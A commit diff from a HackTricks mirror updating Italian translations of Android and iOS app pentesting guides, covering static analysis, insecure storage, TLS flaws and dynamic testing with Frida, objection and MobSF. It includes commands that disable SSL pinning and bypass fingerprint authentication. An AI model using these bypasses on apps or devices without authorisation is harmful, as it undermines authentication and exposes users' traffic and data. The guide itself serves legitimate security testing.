maride/hacktricks
1
0
Fork 0
mirror of https://github.com/HackTricks-wiki/hacktricks.git synced 2025-10-10 18:36:50 +00:00
Code Issues Packages Projects Releases Wiki Activity

Translated ['src/mobile-pentesting/android-app-pentesting/README.md', 's

Browse Source
This commit is contained in:
Translator 2025-07-19 12:18:02 +00:00
parent a36f1480c1
commit 07571971d2
4 changed files with 193 additions and 90 deletions
Show Stats Download Patch File Download Diff File Expand all files Collapse all files

1
src/SUMMARY.md
View File

@ -348,6 +348,7 @@
- [Webview Attacks](mobile-pentesting/android-app-pentesting/webview-attacks.md)
- [iOS Pentesting Checklist](mobile-pentesting/ios-pentesting-checklist.md)
- [iOS Pentesting](mobile-pentesting/ios-pentesting/README.md)
- [Air Keyboard Remote Input Injection](mobile-pentesting/ios-pentesting/air-keyboard-remote-input-injection.md)
- [iOS App Extensions](mobile-pentesting/ios-pentesting/ios-app-extensions.md)
- [iOS Basics](mobile-pentesting/ios-pentesting/ios-basics.md)
- [iOS Basic Testing Operations](mobile-pentesting/ios-pentesting/basic-ios-testing-operations.md)

106
src/mobile-pentesting/android-app-pentesting/README.md
View File

@ -13,7 +13,7 @@ android-applications-basics.md
## ADB (Android Debug Bridge)
Questo è lo strumento principale di cui hai bisogno per connetterti a un dispositivo Android (emulato o fisico).\
**ADB** consente di controllare i dispositivi sia tramite **USB** che tramite **rete** da un computer. Questa utility permette la **copia** di file in entrambe le direzioni, **installazione** e **disinstallazione** di app, **esecuzione** di comandi shell, **backup** di dati, **lettura** di log, tra le altre funzioni.
**ADB** consente di controllare i dispositivi sia tramite **USB** che tramite **rete** da un computer. Questa utility abilita la **copia** di file in entrambe le direzioni, **installazione** e **disinstallazione** di app, **esecuzione** di comandi shell, **backup** di dati, **lettura** di log, tra le altre funzioni.
Dai un'occhiata alla seguente lista di [**Comandi ADB**](adb-commands.md) per imparare come utilizzare adb.
@ -47,38 +47,44 @@ java -jar ../APKEditor.jar m -i splits/ -o merged.apk
# after merging, you will need to align and sign the apk, personally, I like to use the uberapksigner
java -jar uber-apk-signer.jar -a merged.apk --allowResign -o merged_signed
```
## Analisi Statica
## Case Studies & Vulnerabilities
{{#ref}}
../ios-pentesting/air-keyboard-remote-input-injection.md
{{#endref}}
## Static Analysis
Prima di tutto, per analizzare un APK dovresti **dare un'occhiata al codice Java** utilizzando un decompilatore.\
Per favore, [**leggi qui per trovare informazioni sui diversi decompilatori disponibili**](apk-decompilers.md).
### Ricerca di informazioni interessanti
### Looking for interesting Info
Dando un'occhiata alle **stringhe** dell'APK puoi cercare **password**, **URL** ([https://github.com/ndelphit/apkurlgrep](https://github.com/ndelphit/apkurlgrep)), **chiavi** **api**, **crittografia**, **bluetooth uuids**, **token** e qualsiasi cosa interessante... cerca anche **backdoor** di esecuzione del codice o backdoor di autenticazione (credenziali admin hardcoded per l'app).
Basta dare un'occhiata alle **stringhe** dell'APK per cercare **password**, **URL** ([https://github.com/ndelphit/apkurlgrep](https://github.com/ndelphit/apkurlgrep)), **chiavi** **api**, **crittografia**, **bluetooth uuids**, **token** e qualsiasi cosa interessante... cerca anche **backdoor** di esecuzione del codice o backdoor di autenticazione (credenziali admin hardcoded per l'app).
**Firebase**
Presta particolare attenzione agli **URL di firebase** e controlla se è configurato male. [Maggiore informazione su cosa è Firebase e come sfruttarlo qui.](../../network-services-pentesting/pentesting-web/buckets/firebase-database.md)
### Comprensione di base dell'applicazione - Manifest.xml, strings.xml
### Basic understanding of the application - Manifest.xml, strings.xml
L'**esame dei file _Manifest.xml_ e _strings.xml_ di un'applicazione può rivelare potenziali vulnerabilità di sicurezza**. Questi file possono essere accessibili utilizzando decompilatori o rinominando l'estensione del file APK in .zip e poi decomprimendolo.
L'**esame dei file _Manifest.xml_ e **_strings.xml_** di un'applicazione può rivelare potenziali vulnerabilità di sicurezza**. Questi file possono essere accessibili utilizzando decompilatori o rinominando l'estensione del file APK in .zip e poi decomprimendolo.
**Vulnerabilità** identificate dal **Manifest.xml** includono:
- **Applicazioni Debuggable**: Le applicazioni impostate come debuggable (`debuggable="true"`) nel file _Manifest.xml_ rappresentano un rischio poiché consentono connessioni che possono portare a sfruttamenti. Per ulteriori informazioni su come sfruttare le applicazioni debuggable, fai riferimento a un tutorial su come trovare e sfruttare applicazioni debuggable su un dispositivo.
- **Impostazioni di Backup**: L'attributo `android:allowBackup="false"` dovrebbe essere impostato esplicitamente per le applicazioni che gestiscono informazioni sensibili per prevenire backup non autorizzati dei dati tramite adb, specialmente quando il debug USB è abilitato.
- **Impostazioni di Backup**: L'attributo `android:allowBackup="false"` dovrebbe essere impostato esplicitamente per le applicazioni che trattano informazioni sensibili per prevenire backup non autorizzati dei dati tramite adb, specialmente quando il debug USB è abilitato.
- **Sicurezza della Rete**: Le configurazioni di sicurezza della rete personalizzate (`android:networkSecurityConfig="@xml/network_security_config"`) in _res/xml/_ possono specificare dettagli di sicurezza come i pin dei certificati e le impostazioni del traffico HTTP. Un esempio è consentire il traffico HTTP per domini specifici.
- **Attività e Servizi Esportati**: Identificare attività e servizi esportati nel manifest può evidenziare componenti che potrebbero essere abusati. Ulteriori analisi durante i test dinamici possono rivelare come sfruttare questi componenti.
- **Content Providers e FileProviders**: I content provider esposti potrebbero consentire accessi o modifiche non autorizzate ai dati. La configurazione dei FileProviders dovrebbe essere esaminata con attenzione.
- **Broadcast Receivers e URL Schemes**: Questi componenti potrebbero essere sfruttati per attacchi, prestando particolare attenzione a come vengono gestiti gli URL schemes per vulnerabilità di input.
- **Content Providers e FileProviders**: I content provider esposti potrebbero consentire accessi o modifiche non autorizzate ai dati. Anche la configurazione dei FileProviders dovrebbe essere scrutinata.
- **Broadcast Receivers e URL Schemes**: Questi componenti potrebbero essere sfruttati, prestando particolare attenzione a come vengono gestiti gli URL schemes per le vulnerabilità di input.
- **Versioni SDK**: Gli attributi `minSdkVersion`, `targetSDKVersion` e `maxSdkVersion` indicano le versioni Android supportate, evidenziando l'importanza di non supportare versioni Android obsolete e vulnerabili per motivi di sicurezza.
Dal file **strings.xml**, informazioni sensibili come chiavi API, schemi personalizzati e altre note per gli sviluppatori possono essere scoperte, sottolineando la necessità di una revisione attenta di queste risorse.
Dal file **strings.xml**, possono essere scoperte informazioni sensibili come chiavi API, schemi personalizzati e altre note degli sviluppatori, sottolineando la necessità di una revisione attenta di queste risorse.
### Tapjacking
**Tapjacking** è un attacco in cui un **applicazione** **maligna** viene lanciata e **si posiziona sopra un'applicazione vittima**. Una volta che oscura visibilmente l'app vittima, la sua interfaccia utente è progettata in modo da ingannare l'utente a interagire con essa, mentre passa l'interazione all'app vittima.\
**Tapjacking** è un attacco in cui un'**applicazione** **maligna** viene lanciata e **si posiziona sopra un'applicazione vittima**. Una volta che oscura visibilmente l'app vittima, la sua interfaccia utente è progettata in modo da ingannare l'utente a interagire con essa, mentre passa l'interazione all'app vittima.\
In effetti, sta **accecando l'utente dal sapere che sta effettivamente eseguendo azioni sull'app vittima**.
Trova maggiori informazioni in:
@ -97,29 +103,29 @@ Maggiore info in:
android-task-hijacking.md
{{#endref}}
### Memorizzazione dei dati non sicura
### Insecure data storage
**Memoria Interna**
**Internal Storage**
In Android, i file **memorizzati** nella **memoria interna** sono **progettati** per essere **accessibili** esclusivamente dall'**app** che li **ha creati**. Questa misura di sicurezza è **imposta** dal sistema operativo Android ed è generalmente adeguata per le esigenze di sicurezza della maggior parte delle applicazioni. Tuttavia, gli sviluppatori a volte utilizzano modalità come `MODE_WORLD_READABLE` e `MODE_WORLD_WRITABLE` per **consentire** la condivisione di file tra diverse applicazioni. Tuttavia, queste modalità **non limitano l'accesso** a questi file da parte di altre applicazioni, comprese quelle potenzialmente dannose.
1. **Analisi Statica:**
- **Assicurati** che l'uso di `MODE_WORLD_READABLE` e `MODE_WORLD_WRITABLE` sia **scrutinato con attenzione**. Queste modalità **possono potenzialmente esporre** file a **accessi non intenzionati o non autorizzati**.
2. **Analisi Dinamica:**
1. **Static Analysis:**
- **Assicurati** che l'uso di `MODE_WORLD_READABLE` e `MODE_WORLD_WRITABLE` sia **scrutinato attentamente**. Queste modalità **possono potenzialmente esporre** file a **accessi non intenzionati o non autorizzati**.
2. **Dynamic Analysis:**
- **Verifica** le **permissive** impostate sui file creati dall'app. In particolare, **controlla** se ci sono file **impostati per essere leggibili o scrivibili a livello globale**. Questo può rappresentare un rischio significativo per la sicurezza, poiché consentirebbe a **qualsiasi applicazione** installata sul dispositivo, indipendentemente dalla sua origine o intento, di **leggere o modificare** questi file.
**Memoria Esterna**
**External Storage**
Quando si trattano file su **memoria esterna**, come schede SD, dovrebbero essere adottate alcune precauzioni:
1. **Accessibilità**:
- I file sulla memoria esterna sono **globalmente leggibili e scrivibili**. Questo significa che qualsiasi applicazione o utente può accedere a questi file.
- I file su memoria esterna sono **globalmente leggibili e scrivibili**. Questo significa che qualsiasi applicazione o utente può accedere a questi file.
2. **Preoccupazioni di Sicurezza**:
- Data la facilità di accesso, è consigliato **non memorizzare informazioni sensibili** sulla memoria esterna.
- Data la facilità di accesso, è consigliato **non memorizzare informazioni sensibili** su memoria esterna.
- La memoria esterna può essere rimossa o accessibile da qualsiasi applicazione, rendendola meno sicura.
3. **Gestione dei Dati dalla Memoria Esterna**:
- Esegui sempre **validazione dell'input** sui dati recuperati dalla memoria esterna. Questo è cruciale perché i dati provengono da una fonte non attendibile.
- Memorizzare eseguibili o file di classe sulla memoria esterna per il caricamento dinamico è fortemente sconsigliato.
- Esegui sempre **validazione degli input** sui dati recuperati dalla memoria esterna. Questo è cruciale poiché i dati provengono da una fonte non attendibile.
- Memorizzare eseguibili o file di classe su memoria esterna per il caricamento dinamico è fortemente sconsigliato.
- Se la tua applicazione deve recuperare file eseguibili dalla memoria esterna, assicurati che questi file siano **firmati e verificati crittograficamente** prima di essere caricati dinamicamente. Questo passaggio è vitale per mantenere l'integrità della sicurezza della tua applicazione.
La memoria esterna può essere **accessibile** in `/storage/emulated/0`, `/sdcard`, `/mnt/sdcard`
@ -129,12 +135,12 @@ La memoria esterna può essere **accessibile** in `/storage/emulated/0`, `/sdcar
**Dati sensibili memorizzati in chiaro**
- **Preferenze condivise**: Android consente a ciascuna applicazione di salvare facilmente file xml nel percorso `/data/data/<packagename>/shared_prefs/` e a volte è possibile trovare informazioni sensibili in chiaro in quella cartella.
- **Shared preferences**: Android consente a ciascuna applicazione di salvare facilmente file xml nel percorso `/data/data/<packagename>/shared_prefs/` e a volte è possibile trovare informazioni sensibili in chiaro in quella cartella.
- **Database**: Android consente a ciascuna applicazione di salvare facilmente database sqlite nel percorso `/data/data/<packagename>/databases/` e a volte è possibile trovare informazioni sensibili in chiaro in quella cartella.
### TLS Rotto
### Broken TLS
**Accetta Tutti i Certificati**
**Accept All Certificates**
Per qualche motivo, a volte gli sviluppatori accettano tutti i certificati anche se, ad esempio, il nome host non corrisponde a righe di codice come la seguente:
```java
@ -151,14 +157,14 @@ Alcuni sviluppatori salvano dati sensibili nello storage locale e li crittografa
**Utilizzo di algoritmi insicuri e/o deprecati**
Gli sviluppatori non dovrebbero utilizzare **algoritmi deprecati** per eseguire **controlli di autorizzazione**, **memorizzare** o **inviare** dati. Alcuni di questi algoritmi sono: RC4, MD4, MD5, SHA1... Se i **hash** vengono utilizzati per memorizzare le password, ad esempio, dovrebbero essere utilizzati hash resistenti a brute-force con sale.
Gli sviluppatori non dovrebbero utilizzare **algoritmi deprecati** per eseguire **controlli di autorizzazione**, **memorizzare** o **inviare** dati. Alcuni di questi algoritmi sono: RC4, MD4, MD5, SHA1... Se si utilizzano **hash** per memorizzare le password, ad esempio, dovrebbero essere utilizzati hash resistenti al brute-force con sale.
### Altri controlli
- È consigliato **offuscare l'APK** per rendere più difficile il lavoro di reverse engineering per gli attaccanti.
- Se l'app è sensibile (come le app bancarie), dovrebbe eseguire i propri **controlli per vedere se il mobile è rootato** e agire di conseguenza.
- Se l'app è sensibile (come le app bancarie), dovrebbe controllare se viene utilizzato un **emulatore**.
- Se l'app è sensibile (come le app bancarie), dovrebbe **controllare la propria integrità prima di eseguirla** per verificare se è stata modificata.
- Se l'app è sensibile (come le app bancarie), dovrebbe **controllare la propria integrità prima di eseguire** per verificare se è stata modificata.
- Usa [**APKiD**](https://github.com/rednaga/APKiD) per controllare quale compilatore/pacchetto/offuscatore è stato utilizzato per costruire l'APK.
### Applicazione React Native
@ -179,7 +185,7 @@ Leggi la seguente pagina per imparare come accedere facilmente al codice C# dell
### Applicazioni Superpacked
Secondo questo [**post del blog**](https://clearbluejar.github.io/posts/desuperpacking-meta-superpacked-apks-with-github-actions/) superpacked è un algoritmo Meta che comprime il contenuto di un'applicazione in un unico file. Il blog parla della possibilità di creare un'app che decomprime questo tipo di app... e di un modo più veloce che implica **eseguire l'applicazione e raccogliere i file decompressi dal filesystem.**
Secondo questo [**post del blog**](https://clearbluejar.github.io/posts/desuperpacking-meta-superpacked-apks-with-github-actions/), superpacked è un algoritmo Meta che comprime il contenuto di un'applicazione in un unico file. Il blog parla della possibilità di creare un'app che decomprime questo tipo di app... e di un modo più veloce che implica **eseguire l'applicazione e raccogliere i file decompressi dal filesystem.**
### Analisi statica automatizzata del codice
@ -232,20 +238,20 @@ Grazie alla connessione ADB puoi utilizzare **Drozer** e **Frida** all'interno d
#### Utilizzando un emulatore
- [**Android Studio**](https://developer.android.com/studio) (Puoi creare dispositivi **x86** e **arm**, e secondo [**questo**](https://android-developers.googleblog.com/2020/03/run-arm-apps-on-android-emulator.html)**ultimi versioni x86** supportano le librerie ARM senza necessitare di un emulatore arm lento).
- [**Android Studio**](https://developer.android.com/studio) (Puoi creare dispositivi **x86** e **arm**, e secondo [**questo**](https://android-developers.googleblog.com/2020/03/run-arm-apps-on-android-emulator.html) **ultimi versioni x86** supportano le librerie ARM senza necessità di un emulatore arm lento).
- Impara a configurarlo in questa pagina:
{{#ref}}
avd-android-virtual-device.md
{{#endref}}
- [**Genymotion**](https://www.genymotion.com/fun-zone/) **(Versione gratuita:** Edizione personale, devi creare un account. _È consigliato **scaricare** la versione **CON**_ _**VirtualBox** per evitare potenziali errori._)
- [**Genymotion**](https://www.genymotion.com/fun-zone/) **(Versione gratuita:** Edizione personale, devi creare un account. _È consigliato **scaricare** la versione **CON** _**VirtualBox** per evitare potenziali errori._)
- [**Nox**](https://es.bignox.com) (Gratuito, ma non supporta Frida o Drozer).
> [!TIP]
> Quando crei un nuovo emulatore su qualsiasi piattaforma ricorda che più grande è lo schermo, più lento sarà l'emulatore. Quindi seleziona schermi piccoli se possibile.
Per **installare i servizi Google** (come AppStore) in Genymotion devi cliccare sul pulsante contrassegnato in rosso nell'immagine seguente:
Per **installare i servizi google** (come AppStore) in Genymotion devi cliccare sul pulsante contrassegnato in rosso nell'immagine seguente:
![](<../../images/image (277).png>)
@ -286,7 +292,7 @@ Come pentester, **cerca di dare un'occhiata a questi log**.
**Dati analitici inviati a terzi**
Le applicazioni spesso integrano servizi come Google Adsense, che possono involontariamente **far trapelare dati sensibili** a causa di un'implementazione impropria da parte degli sviluppatori. Per identificare potenziali perdite di dati, è consigliabile **intercettare il traffico dell'applicazione** e controllare eventuali informazioni sensibili inviate a servizi di terze parti.
Le applicazioni integrano spesso servizi come Google Adsense, che possono involontariamente **trapelare dati sensibili** a causa di un'implementazione impropria da parte degli sviluppatori. Per identificare potenziali perdite di dati, è consigliabile **intercettare il traffico dell'applicazione** e controllare eventuali informazioni sensibili inviate a servizi di terze parti.
### DB SQLite
@ -295,7 +301,7 @@ I database dovrebbero trovarsi in `/data/data/the.package.name/databases` come `
Se il database sta salvando informazioni riservate ed è **crittografato** ma puoi **trovare** la **password** all'interno dell'applicazione, è comunque una **vulnerabilità**.
Enumera le tabelle usando `.tables` e enumera le colonne delle tabelle eseguendo `.schema <table_name>`.
Enumera le tabelle utilizzando `.tables` e enumera le colonne delle tabelle eseguendo `.schema <table_name>`.
### Drozer (Attività di sfruttamento, Content Providers e Servizi)
@ -415,7 +421,7 @@ Se **Flutter** viene utilizzato, devi seguire le istruzioni in [**questa pagina*
Quando SSL Pinning è implementato, bypassarlo diventa necessario per ispezionare il traffico HTTPS. Sono disponibili vari metodi per questo scopo:
- Modifica **automaticamente** l'**apk** per **bypassare** SSLPinning con [**apk-mitm**](https://github.com/shroudedcode/apk-mitm). Il miglior vantaggio di questa opzione è che non avrai bisogno di root per bypassare SSL Pinning, ma dovrai eliminare l'applicazione e reinstallare quella nuova, e questo non funzionerà sempre.
- Modifica automaticamente l'**apk** per **bypassare** SSLPinning con [**apk-mitm**](https://github.com/shroudedcode/apk-mitm). Il miglior vantaggio di questa opzione è che non avrai bisogno di root per bypassare l'SSL Pinning, ma dovrai eliminare l'applicazione e reinstallare quella nuova, e questo non funzionerà sempre.
- Potresti usare **Frida** (discusso di seguito) per bypassare questa protezione. Qui hai una guida per usare Burp+Frida+Genymotion: [https://spenkk.github.io/bugbounty/Configuring-Frida-with-Burp-and-GenyMotion-to-bypass-SSL-Pinning/](https://spenkk.github.io/bugbounty/Configuring-Frida-with-Burp-and-GenyMotion-to-bypass-SSL-Pinning/)
- Puoi anche provare a **bypassare automaticamente SSL Pinning** usando [**objection**](frida-tutorial/objection-tutorial.md)**:** `objection --gadget com.package.app explore --startup-command "android sslpinning disable"`
- Puoi anche provare a **bypassare automaticamente SSL Pinning** usando **l'analisi dinamica di MobSF** (spiegato di seguito)
@ -458,7 +464,7 @@ strings * | grep -E "^[a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a
In Android, il Keystore è il miglior posto per memorizzare dati sensibili, tuttavia, con privilegi sufficienti è ancora **possibile accedervi**. Poiché le applicazioni tendono a memorizzare qui **dati sensibili in chiaro**, i pentest dovrebbero controllare per questo come utente root o qualcuno con accesso fisico al dispositivo potrebbe essere in grado di rubare questi dati.
Anche se un'app memorizza dati nel keystore, i dati dovrebbero essere crittografati.
Anche se un'app ha memorizzato dati nel keystore, i dati dovrebbero essere crittografati.
Per accedere ai dati all'interno del keystore, puoi utilizzare questo script Frida: [https://github.com/WithSecureLabs/android-keystore-audit/blob/master/frida-scripts/tracer-cipher.js](https://github.com/WithSecureLabs/android-keystore-audit/blob/master/frida-scripts/tracer-cipher.js)
```bash
@ -466,13 +472,13 @@ frida -U -f com.example.app -l frida-scripts/tracer-cipher.js
```
### **Fingerprint/Biometrics Bypass**
Utilizzando il seguente script Frida, potrebbe essere possibile **bypassare l'autenticazione tramite impronta digitale** che le applicazioni Android potrebbero eseguire per **proteggere determinate aree sensibili:**
Utilizzando il seguente script Frida potrebbe essere possibile **bypassare l'autenticazione tramite impronta digitale** che le applicazioni Android potrebbero eseguire per **proteggere determinate aree sensibili:**
```bash
frida --codeshare krapgras/android-biometric-bypass-update-android-11 -U -f <app.package>
```
### **Immagini di Sfondo**
Quando metti un'applicazione in background, Android memorizza un **istantanea dell'applicazione** in modo che quando viene ripristinata in primo piano inizi a caricare l'immagine prima dell'app, quindi sembra che l'app sia stata caricata più velocemente.
Quando metti un'applicazione in background, Android memorizza un **istantanea dell'applicazione** in modo che, quando viene ripristinata in primo piano, inizi a caricare l'immagine prima dell'app, quindi sembra che l'app sia stata caricata più velocemente.
Tuttavia, se questa istantanea contiene **informazioni sensibili**, qualcuno con accesso all'istantanea potrebbe **rubare quelle informazioni** (nota che è necessario avere i permessi di root per accedervi).
@ -495,7 +501,7 @@ Il pericolo risiede nel consentire agli attaccanti di attivare componenti dell'a
### Punti Essenziali
- **Iniezione di Intent** è simile al problema di Open Redirect del web.
- Gli exploit coinvolgono il passaggio di oggetti `Intent` come extra, che possono essere reindirizzati per eseguire operazioni non sicure.
- Gli exploit coinvolgono il passaggio di oggetti `Intent` come extra, che possono essere deviati per eseguire operazioni non sicure.
- Può esporre componenti non esportati e provider di contenuti agli attaccanti.
- La conversione di URL in `Intent` di `WebView` può facilitare azioni indesiderate.
@ -519,7 +525,7 @@ Probabilmente conosci questo tipo di vulnerabilità dal Web. Devi essere partico
![](<../../images/image (866).png>)
**Valutazione della vulnerabilità dell'applicazione** utilizzando un bel frontend web-based. Puoi anche eseguire analisi dinamica (ma devi preparare l'ambiente).
**Valutazione delle vulnerabilità dell'applicazione** utilizzando un bel frontend web-based. Puoi anche eseguire analisi dinamica (ma devi preparare l'ambiente).
```bash
docker pull opensecurity/mobile-security-framework-mobsf
docker run -it -p 8000:8000 opensecurity/mobile-security-framework-mobsf:latest
@ -531,14 +537,14 @@ MobSF consente anche di **diff/Confrontare** analisi e di integrare **VirusTotal
### Analisi dinamica assistita con MobSF
**MobSF** può essere molto utile per l'**analisi dinamica** in **Android**, ma in quel caso dovrai installare MobSF e **genymotion** sul tuo host (una VM o Docker non funzioneranno). _Nota: Devi **avviare prima una VM in genymotion** e **poi MobSF.**_\
L'**analizzatore dinamico di MobSF** può:
**MobSF** può essere molto utile per l'**analisi dinamica** in **Android**, ma in quel caso dovrai installare MobSF e **genymotion** sul tuo host (una VM o Docker non funzionerà). _Nota: Devi **avviare prima una VM in genymotion** e **poi MobSF.**_\
L'**analizzatore dinamico MobSF** può:
- **Dump dei dati dell'applicazione** (URL, log, appunti, screenshot fatti da te, screenshot fatti da "**Exported Activity Tester**", email, database SQLite, file XML e altri file creati). Tutto questo viene fatto automaticamente tranne per gli screenshot, devi premere quando vuoi uno screenshot o devi premere "**Exported Activity Tester**" per ottenere screenshot di tutte le attività esportate.
- Catturare il **traffico HTTPS**
- Usare **Frida** per ottenere **informazioni** **runtime**
Dalle versioni di Android **> 5**, avvierà **automaticamente Frida** e imposterà le impostazioni globali del **proxy** per **catturare** il traffico. Catturerà solo il traffico dall'applicazione testata.
Dalle versioni di Android **> 5**, avvierà **automaticamente Frida** e imposterà le impostazioni **proxy** globali per **catturare** il traffico. Catturerà solo il traffico dall'applicazione testata.
**Frida**
@ -546,7 +552,7 @@ Per impostazione predefinita, utilizzerà anche alcuni script Frida per **bypass
MobSF può anche **invocare attività esportate**, acquisire **screenshot** di esse e **salvarle** per il rapporto.
Per **iniziare** il test dinamico premi il pulsante verde: "**Start Instrumentation**". Premi "**Frida Live Logs**" per vedere i log generati dagli script Frida e "**Live API Monitor**" per vedere tutte le invocazioni ai metodi hookati, gli argomenti passati e i valori restituiti (questo apparirà dopo aver premuto "Start Instrumentation").\
MobSF consente anche di caricare i propri **script Frida** (per inviare i risultati dei tuoi script di venerdì a MobSF usa la funzione `send()`). Ha anche **diversi script pre-scritti** che puoi caricare (puoi aggiungerne di più in `MobSF/DynamicAnalyzer/tools/frida_scripts/others/`), basta **selezionarli**, premere "**Load**" e premere "**Start Instrumentation**" (sarai in grado di vedere i log di quegli script all'interno di "**Frida Live Logs**").
MobSF consente anche di caricare i propri **script Frida** (per inviare i risultati dei tuoi script Frida a MobSF usa la funzione `send()`). Ha anche **diversi script pre-scritti** che puoi caricare (puoi aggiungerne di più in `MobSF/DynamicAnalyzer/tools/frida_scripts/others/`), basta **selezionarli**, premere "**Load**" e premere "**Start Instrumentation**" (sarai in grado di vedere i log di quegli script all'interno di "**Frida Live Logs**").
![](<../../images/image (419).png>)
@ -574,7 +580,7 @@ receivers
```
**Strumenti HTTP**
Quando il traffico http viene catturato, puoi vedere una vista brutta del traffico catturato in "**HTTP(S) Traffic**" in basso o una vista più gradevole nel pulsante verde "**Start HTTPTools**". Dalla seconda opzione, puoi **inviare** le **richieste catturate** a **proxies** come Burp o Owasp ZAP.\
Quando il traffico http viene catturato, puoi vedere una vista brutta del traffico catturato in "**HTTP(S) Traffic**" in basso o una vista più bella nel pulsante verde "**Start HTTPTools**". Dalla seconda opzione, puoi **inviare** le **richieste catturate** a **proxy** come Burp o Owasp ZAP.\
Per farlo, _accendi Burp -->_ _disattiva Intercept --> in MobSB HTTPTools seleziona la richiesta_ --> premi "**Send to Fuzzer**" --> _seleziona l'indirizzo del proxy_ ([http://127.0.0.1:8080\\](http://127.0.0.1:8080)).
Una volta terminata l'analisi dinamica con MobSF, puoi premere su "**Start Web API Fuzzer**" per **fuzzare le richieste http** e cercare vulnerabilità.
@ -589,7 +595,7 @@ Una volta terminata l'analisi dinamica con MobSF, puoi premere su "**Start Web A
### Analisi Dinamica Assistita con Inspeckage
Puoi ottenere lo strumento da [**Inspeckage**](https://github.com/ac-pm/Inspeckage).\
Questo strumento utilizza alcuni **Hooks** per farti sapere **cosa sta succedendo nell'applicazione** mentre esegui un'**analisi dinamica**.
Questo strumento utilizzerà alcuni **Hooks** per farti sapere **cosa sta succedendo nell'applicazione** mentre esegui un'**analisi dinamica**.
### [Yaazhini](https://www.vegabird.com/yaazhini/)
@ -619,7 +625,7 @@ reverse-apk relative/path/to/APP.apk
```
### [SUPER Android Analyzer](https://github.com/SUPERAndroidAnalyzer/super)
SUPER è un'applicazione da riga di comando che può essere utilizzata in Windows, MacOS X e Linux, che analizza i file _.apk_ in cerca di vulnerabilità. Lo fa decomprimendo gli APK e applicando una serie di regole per rilevare tali vulnerabilità.
SUPER è un'applicazione da riga di comando che può essere utilizzata in Windows, MacOS X e Linux, che analizza i file _.apk_ in cerca di vulnerabilità. Lo fa decomprimendo gli APK e applicando una serie di regole per rilevare quelle vulnerabilità.
Tutte le regole sono centrate in un file `rules.json`, e ogni azienda o tester può creare le proprie regole per analizzare ciò di cui hanno bisogno.
@ -633,7 +639,7 @@ super-analyzer {apk_file}
StaCoAn è uno strumento **crossplatform** che aiuta sviluppatori, cacciatori di bug e hacker etici a eseguire [static code analysis](https://en.wikipedia.org/wiki/Static_program_analysis) su applicazioni mobili.
Il concetto è che puoi trascinare e rilasciare il file della tua applicazione mobile (un file .apk o .ipa) sull'applicazione StaCoAn e genererà un report visivo e portatile per te. Puoi modificare le impostazioni e le liste di parole per ottenere un'esperienza personalizzata.
Il concetto è che puoi trascinare e rilasciare il file della tua applicazione mobile (un file .apk o .ipa) sull'applicazione StaCoAn e genererà un report visivo e portatile per te. Puoi modificare le impostazioni e le wordlist per ottenere un'esperienza personalizzata.
Scarica[ latest release](https://github.com/vincentcox/StaCoAn/releases):
```
@ -651,7 +657,7 @@ androbugs.exe -f [APK file]
**Androwarn** è uno strumento il cui obiettivo principale è rilevare e avvisare l'utente riguardo a potenziali comportamenti malevoli sviluppati da un'applicazione Android.
Il rilevamento viene effettuato con l'**analisi statica** del bytecode Dalvik dell'applicazione, rappresentato come **Smali**, utilizzando la libreria [`androguard`](https://github.com/androguard/androguard).
Il rilevamento viene eseguito con l'**analisi statica** del bytecode Dalvik dell'applicazione, rappresentato come **Smali**, utilizzando la libreria [`androguard`](https://github.com/androguard/androguard).
Questo strumento cerca **comportamenti comuni delle applicazioni "cattive"** come: esfiltrazione di identificatori di telefonia, intercettazione di flussi audio/video, modifica dei dati PIM, esecuzione di codice arbitrario...
```
@ -682,7 +688,7 @@ Nota che a seconda del servizio e della configurazione che utilizzi per offuscar
### [ProGuard](<https://en.wikipedia.org/wiki/ProGuard_(software)>)
Da [Wikipedia](<https://en.wikipedia.org/wiki/ProGuard_(software)>): **ProGuard** è uno strumento da riga di comando open source che riduce, ottimizza e offusca il codice Java. È in grado di ottimizzare il bytecode e di rilevare e rimuovere istruzioni non utilizzate. ProGuard è software gratuito ed è distribuito sotto la GNU General Public License, versione 2.
Da [Wikipedia](<https://en.wikipedia.org/wiki/ProGuard_(software)>): **ProGuard** è uno strumento open source da riga di comando che riduce, ottimizza e offusca il codice Java. È in grado di ottimizzare il bytecode e di rilevare e rimuovere istruzioni non utilizzate. ProGuard è software gratuito ed è distribuito sotto la GNU General Public License, versione 2.
ProGuard è distribuito come parte dell'Android SDK e viene eseguito durante la costruzione dell'applicazione in modalità release.
@ -704,9 +710,9 @@ Trova una guida passo-passo per deoffuscare l'apk in [https://blog.lexfo.fr/dexg
Puoi caricare un APK offuscato sulla loro piattaforma.
### [Deobfuscate android App]https://github.com/In3tinct/deobfuscate-android-app
### [Deobfuscate android App](https://github.com/In3tinct/deobfuscate-android-app)
Questo è uno strumento LLM per trovare potenziali vulnerabilità di sicurezza nelle app android e deoffuscare il codice delle app android. Utilizza l'API pubblica di Gemini di Google.
Questo è uno strumento LLM per trovare potenziali vulnerabilità di sicurezza nelle app Android e deoffuscare il codice delle app Android. Utilizza l'API pubblica di Google Gemini.
### [Simplify](https://github.com/CalebFenton/simplify)

85
src/mobile-pentesting/ios-pentesting/README.md
View File

@ -20,7 +20,7 @@ ios-testing-environment.md
### Basic iOS Testing Operations
Durante il testing **verranno suggerite diverse operazioni** (connettersi al dispositivo, leggere/scrivere/caricare/scaricare file, utilizzare alcuni strumenti...). Pertanto, se non sai come eseguire una di queste azioni, per favore, **inizia a leggere la pagina**:
Durante il testing **saranno suggerite diverse operazioni** (connettersi al dispositivo, leggere/scrivere/caricare/scaricare file, utilizzare alcuni strumenti...). Pertanto, se non sai come eseguire una di queste azioni, per favore, **inizia a leggere la pagina**:
{{#ref}}
basic-ios-testing-operations.md
@ -28,7 +28,7 @@ basic-ios-testing-operations.md
> [!TIP]
> Per i passaggi successivi **l'app dovrebbe essere installata** nel dispositivo e dovrebbe aver già ottenuto il **file IPA** dell'applicazione.\
> Leggi la pagina [Basic iOS Testing Operations](basic-ios-testing-operations.md) per sapere come fare.
> Leggi la pagina [Basic iOS Testing Operations](basic-ios-testing-operations.md) per imparare come fare.
### Basic Static Analysis
@ -59,7 +59,7 @@ otool -I -v <app-binary> | grep stack_chk # Dovrebbe includere i simboli: stac
otool -I -v <app-binary> | grep objc_release # Dovrebbe includere il simbolo _objc_release
```
- **Encrypted Binary**: Il binario dovrebbe essere crittografato
- **Binary Crittografato**: Il binario dovrebbe essere crittografato
```bash
otool -arch all -Vl <app-binary> | grep -A5 LC_ENCRYPT # Il cryptid dovrebbe essere 1
